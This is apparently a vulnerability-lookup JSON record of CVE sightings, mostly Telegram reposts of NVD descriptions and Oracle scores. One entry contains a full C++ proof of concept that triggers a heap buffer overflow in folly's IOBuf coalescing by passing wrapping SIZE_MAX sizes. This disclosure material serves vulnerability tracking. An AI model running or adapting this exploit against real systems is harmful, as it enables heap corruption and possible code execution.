{"vulnerability": "CVE-2021-2403", "sightings": [{"uuid": "307881b3-a598-4bac-ba07-54881062637f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24038", "type": "seen", "source": "https://t.me/cibsecurity/27610", "content": "\u203c CVE-2021-24038 \u203c\n\nDue to a bug with management of handles in OVRServiceLauncher.exe, an attacker could expose a privileged process handle to an unprivileged process, leading to local privilege escalation. This issue affects Oculus Desktop versions after 1.39 and prior to 31.1.0.67.507.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-19T20:18:20.000000Z"}, {"uuid": "cc9a920f-1390-437a-82c7-2d7ac46b6c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24033", "type": "seen", "source": "https://t.me/cibsecurity/24584", "content": "\u203c CVE-2021-24033 \u203c\n\nreact-dev-utils prior to v11.0.4 exposes a function, getProcessForPort, where an input argument is concatenated into a command string to be executed. This function is typically used from react-scripts (in Create React App projects), where the usage is safe. Only when this function is manually invoked with user-provided values (ie: by custom code) is there the potential for command injection. If you're consuming it from react-scripts then this issue does not affect you.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-09T07:51:05.000000Z"}, {"uuid": "84f848dd-8901-4f45-ace8-c172fbd79408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24036", "type": "seen", "source": "https://t.me/cibsecurity/26431", "content": "\u203c CVE-2021-24036 \u203c\n\nPassing an attacker controlled size when creating an IOBuf could cause integer overflow, leading to an out of bounds write on the heap with the possibility of remote code execution. This issue affects versions of folly prior to v2021.07.22.00. This issue affects HHVM versions prior to 4.80.5, all versions between 4.81.0 and 4.102.1, all versions between 4.103.0 and 4.113.0, and versions 4.114.0, 4.115.0, 4.116.0, 4.117.0, 4.118.0 and 4.118.1.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-23T07:37:06.000000Z"}, {"uuid": "44d49d3e-f73d-4f03-ad24-f54c33beaee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24037", "type": "seen", "source": "https://t.me/cibsecurity/25475", "content": "\u203c CVE-2021-24037 \u203c\n\nA use after free in hermes, while emitting certain error messages, prior to commit d86e185e485b6330216dee8e854455c694e3a36e allows attackers to potentially execute arbitrary code via crafted JavaScript. Note that this is only exploitable if the application using Hermes permits evaluation of untrusted JavaScript. Hence, most React Native applications are not affected.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-06-16T02:39:10.000000Z"}, {"uuid": "b105f2a3-d3d4-46cf-92b5-f061a308e0fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24036", "type": "seen", "source": "https://gist.github.com/shaggyinsomniac/9be3b6598ee0148b3837849a0f2996f6", "content": "// PoC: IOBuf coalesce capacity overflow at folly HEAD 8084fdec (2026-08-27)\n// Both integer-overflow fixes were re-reverted on 2026-08-21:\n//   78ea997 reverted D116335797 (coalesceAndReallocate guard)\n//   cebec52  reverted D116669664 (cloneCoalescedAsValueWithHeadroomTailroom guard)\n// Live code: folly/io/IOBuf.cpp:863 and :1043\n//   const std::size_t newCapacity = newLength + newHeadroom + newTailroom;  (unchecked)\n#include \n#include \n#include \n#include \n#define DCHECK(x) ((void)0)\n#define DCHECK_LE(a,b) ((void)0)\n#define DCHECK_LT(a,b) ((void)0)\n#define DCHECK_GE(a,b) ((void)0)\n#define DCHECK_GT(a,b) ((void)0)\n#define DCHECK_EQ(a,b) ((void)0)\n#define DCHECK_NE(a,b) ((void)0)\n#define DCHECK_NOTNULL(x) (x)\n#include \n\nusing namespace folly;\n\nstatic std::unique_ptr makeChain() {\n  auto a = IOBuf::copyBuffer(\"hello\", 5);\n  auto b = IOBuf::copyBuffer(\"world\", 5);\n  a->insertAfterThisOne(std::move(b));\n  return a;\n}\n\nint main(int argc, char** argv) {\n  setvbuf(stdout, NULL, _IONBF, 0);\n  int which = argc > 1 ? atoi(argv[1]) : 1;\n  constexpr auto kMax = std::numeric_limits::max();\n  if (which == 1) {\n    printf(\"[*] path 1: cloneCoalescedWithHeadroomTailroom(SIZE_MAX, SIZE_MAX)\\n\");\n    auto chain = makeChain();\n    printf(\"[*] chain built, calling cloneCoalescedWithHeadroomTailroom...\\n\");\n    auto cloned = chain->cloneCoalescedWithHeadroomTailroom(kMax, kMax);\n    printf(\"[!] survived, cloned capacity=%zu len=%zu\\n\", cloned->capacity(), cloned->length());\n  } else if (which == 2) {\n    printf(\"[*] path 2: coalesceWithHeadroomTailroom(SIZE_MAX, SIZE_MAX)\\n\");\n    auto chain = makeChain();\n    printf(\"[*] chain built, calling coalesceWithHeadroomTailroom...\\n\");\n    auto br = chain->coalesceWithHeadroomTailroom(kMax, kMax);\n    printf(\"[!] survived, br size=%zu\\n\", br.size());\n  } else {\n    // Large-chain clean-geometry variant (the CVE-2021-24036-shaped case):\n    // a 64 KiB chain, newHeadroom=0, newTailroom chosen so that\n    //   newCapacity = newLength + 0 + newTailroom  wraps to exactly 1.\n    // allocExtBuffer rounds up to the minimum ext-buffer size (goodExtBufferSize),\n    // but no rounding floor is anywhere near 64 KiB - the subsequent copy of\n    // newLength bytes into that minimum allocation is a genuine large heap\n    // buffer overflow WRITE. Under -fsanitize=address this is a precise\n    // \"WRITE of size 65536\" report; in plain builds it smashes heap metadata.\n    printf(\"[*] path 3 (large chain): coalesceWithHeadroomTailroom(0, SIZE_MAX-len+2)\\n\");\n    auto chain = makeChain();\n    static const char block[1024] = {'A'};\n    for (int i = 0; i < 64; ++i) {\n      chain->insertAfterThisOne(IOBuf::copyBuffer(block, sizeof(block)));\n    }\n    auto totalLen = chain->computeChainDataLength();\n    printf(\"[*] chain length = %zu bytes; newCapacity wraps to 1\\n\", totalLen);\n    printf(\"[*] calling coalesceWithHeadroomTailroom(0, SIZE_MAX-%zu+2)...\\n\",\n           totalLen);\n    auto br = chain->coalesceWithHeadroomTailroom(0, kMax - totalLen + 2);\n    printf(\"[!] survived, br size=%zu (heap corrupted)\\n\", br.size());\n  }\n  return 0;\n}\n// jemalloc stub (macOS PoC build only): define the function pointer that\n// folly/memory/detail/MallocImpl.cpp would normally dlsym.\n\n// Stubs for folly error-path machinery not needed by the PoC (macOS standalone build).\nnamespace folly {\nstd::exception_ptr current_exception() noexcept { return {}; }\nconst char* demangle(const char* x) { return x; }\nnamespace detail {\nstd::type_info const* exception_ptr_get_type_(std::exception_ptr const&) noexcept { return nullptr; }\nvoid* exception_ptr_get_object_(std::exception_ptr const&, std::type_info const*) noexcept { return nullptr; }\nstd::type_info const* exception_ptr_exception_typeid(std::exception const& e) noexcept { return &typeid(e); }\n} // namespace detail\n} // namespace folly\n", "creation_timestamp": "2026-08-28T14:30:31.075701Z"}, {"uuid": "1f50ba75-450f-4a7f-861b-64f76d90a4a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-2403", "type": "seen", "source": "https://t.me/cissp/3872", "content": "CVE-2021-2394 Score 9.8\nCVE-2021-2397 Score 9.8\nCVE-2021-2382 Score 9.8\nCVE-2021-2378 Score 7.5\nCVE-2021-2376 Score 7.5\nCVE-2021-2403 Score 5.3\nhttps://www.oracle.com/security-alerts/cpujul2021.html", "creation_timestamp": "2026-09-01T17:00:45.517525Z"}, {"uuid": "ffb98367-32c6-4c95-812f-a14682f6a43c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-2403", "type": "seen", "source": "https://t.me/cissp/3872", "content": "CVE-2021-2394 Score 9.8\nCVE-2021-2397 Score 9.8\nCVE-2021-2382 Score 9.8\nCVE-2021-2378 Score 7.5\nCVE-2021-2376 Score 7.5\nCVE-2021-2403 Score 5.3\nhttps://www.oracle.com/security-alerts/cpujul2021.html", "creation_timestamp": "2026-09-02T01:04:32.279018Z"}]}